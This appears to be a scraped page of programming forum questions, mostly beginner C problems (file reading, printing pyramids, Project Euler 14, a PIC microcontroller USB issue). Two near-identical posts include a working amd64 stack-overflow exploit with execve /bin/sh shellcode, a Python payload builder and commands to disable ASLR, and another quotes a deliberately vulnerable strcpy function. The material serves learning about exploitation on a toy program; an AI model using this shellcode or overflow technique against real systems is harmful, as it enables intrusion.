'funct' function IF TRUE, 'num' it's in the file*/ if (funct(path,fvar,num)) printf("The number %d it is in the file %s.",num,path); else printf("The number %d it is not in the file %s.",num,path); fclose(fvar); } /*FUNCTION 2 It is a recursive function. Reads number by number until the file is empty or the number is found. Parameters received: 'path' -> Directory file 'fvar' -> Pointer file 'num' -> Number to compare */ int funct(char path[],FILE *fvar,int num) { int compare; //FALSE condition when the pointer reaches the end if (fread(&compare,sizeof(int),1,fvar)>0) /*TRUE condition when the number readed is iqual that 'num' ELSE will go to the function itself*/ if (compare!=num) funct(path,fvar,num); else return 1; else return 0; } int main(int argc, char **argv) { char path[30]="file.bin"; //Direction of the file to process openf(path); //Function with algorithm return 0; }

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• Print the first line of a file

  - by Pedro

  void cabclh(){ FILE *fp; char *val, aux; int i=0; char *result, cabeca[60]; fp=fopen("trabalho.txt","r"); if(fp==NULL){ printf("Erro ao abrir o ficheiro\n"); return ; } val=(char*)calloc(aux, sizeof(char)); while(fgetc(fp)=='\n'){ fgets(cabeca,60,fp); printf("%s\n",cabeca); } fclose(fp); free(fp); } void infos(){ FILE *fp; char info[100]; fp=fopen("trabalho.txt","r"); if(fp==NULL){ printf("Erro ao abrir o ficheiro\n"); } while(fgetc(fp)=='-'){ fgets(info,100,fp); printf("%s\n",info); } fclose(fp); } At cabclh i want that the program recognize that the first line is header..but this code doesn't print nothing At infos i want that he recognize that every lines that begin with '-' are info...

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• Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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• Displaying an inverted pyramid of asterisks

  - by onyebuoke

  I help in my for my program. I am required 2 create a inverted pyramid of stars which rows depends on the number of stars the user keys, but I've done it so it does not give an inverted pyramid, it gives a regular pyramid. #include <stdio.h> #include <conio.h> void printchars(int no_star, char space); int getNo_of_rows(void); int main(void) { int numrows, rownum; rownum=0; numrows=getNo_of_rows(); for(rownum=0;rownum<=numrows;rownum++) { printchars(numrows-rownum, ' '); printchars((2*rownum-1), '*'); printf("\n"); } _getche(); return 0; } void printchars(int no_star, char space) { int cnt; for(cnt=0;cnt<no_star;cnt++) { printf("%c",space); } } int getNo_of_rows(void) { int no_star; printf("\n Please enter the number of stars you want to print\n"); scanf("%d",&no_star); while(no_star<1) { printf("\n number incorrect, please enter correct number"); scanf("%d",&no_star); } return no_star; }

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• Project Euler Question 14 (Collatz Problem)

  - by paradox

  The following iterative sequence is defined for the set of positive integers: n -n/2 (n is even) n -3n + 1 (n is odd) Using the rule above and starting with 13, we generate the following sequence: 13 40 20 10 5 16 8 4 2 1 It can be seen that this sequence (starting at 13 and finishing at 1) contains 10 terms. Although it has not been proved yet (Collatz Problem), it is thought that all starting numbers finish at 1. Which starting number, under one million, produces the longest chain? NOTE: Once the chain starts the terms are allowed to go above one million. I tried coding a solution to this in C using the bruteforce method. However, it seems that my program stalls when trying to calculate 113383. Please advise :) #include <stdio.h> #define LIMIT 1000000 int iteration(int value) { if(value%2==0) return (value/2); else return (3*value+1); } int count_iterations(int value) { int count=1; //printf("%d\n", value); while(value!=1) { value=iteration(value); //printf("%d\n", value); count++; } return count; } int main() { int iteration_count=0, max=0; int i,count; for (i=1; i<LIMIT; i++) { printf("Current iteration : %d\n", i); iteration_count=count_iterations(i); if (iteration_count>max) { max=iteration_count; count=i; } } //iteration_count=count_iterations(113383); printf("Count = %d\ni = %d\n",max,count); }

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• Shellcode for a simple stack overflow doesn't start a shell

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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• PIC C - USB_CDC_GETC() and retrieving strings.

  - by Adam

  Hi all, I'm programming a PIC18F4455 Microcontroller using PIC C. I'm using the USB_CDC.h header file. I have a program on the computer sending a string such as "W250025". However, when I use usb_cdc_getc() to get the first char, it freezes. Sometimes the program sends only 'T', so I really want to just get the first character. Why does my code never execute past received=usb_cdc_getc(); when I send "W250025"? if (usb_cdc_kbhit()) { //printf(lcd_putc, "Check 3"); delay_ms(3000); printf(lcd_putc, "\f"); received = usb_cdc_getc(); printf(lcd_putc, "Received "); lcd_putc(received); delay_ms(3000); printf(lcd_putc, "\f"); if (received == 'W'){ //waveform disable_interrupts(INT_TIMER1); set_adc_channel(0); load_and_print_array(read_into_int(), read_into_int());} else if (received == 'T'){ //temperature set_adc_channel(1); enable_interrupts(INT_TIMER1);} }

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• how to know location of return address on stack c/c++

  - by Dr Deo

  i have been reading about a function that can overwrite its return address. void foo(const char* input) { char buf[10]; //What? No extra arguments supplied to printf? //It's a cheap trick to view the stack 8-) //We'll see this trick again when we look at format strings. printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n"); //%p ie expect pointers //Pass the user input straight to secure code public enemy #1. strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } It was sugggested that this is how the stack would look like Address of foo = 00401000 My stack looks like: 00000000 00000000 7FFDF000 0012FF80 0040108A <-- We want to overwrite the return address for foo. 00410EDE Question: -. Why did the author arbitrarily choose the second last value as the return address of foo()? -. Are values added to the stack from the bottom or from the top? apart from the function return address, what are the other values i apparently see on the stack? ie why isn't it filled with zeros Thanks.

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